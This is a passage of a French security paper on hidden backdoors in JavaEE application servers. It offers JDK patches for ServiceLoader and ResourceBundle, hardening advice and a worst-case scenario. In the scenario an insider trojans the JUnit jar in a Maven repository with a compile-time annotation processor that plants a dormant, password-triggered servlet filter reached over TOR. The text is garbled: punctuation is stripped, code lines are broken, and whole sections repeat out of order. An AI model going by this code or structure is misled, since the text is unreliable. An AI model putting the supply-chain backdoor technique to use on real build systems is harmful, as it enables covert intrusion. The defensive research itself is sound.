En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
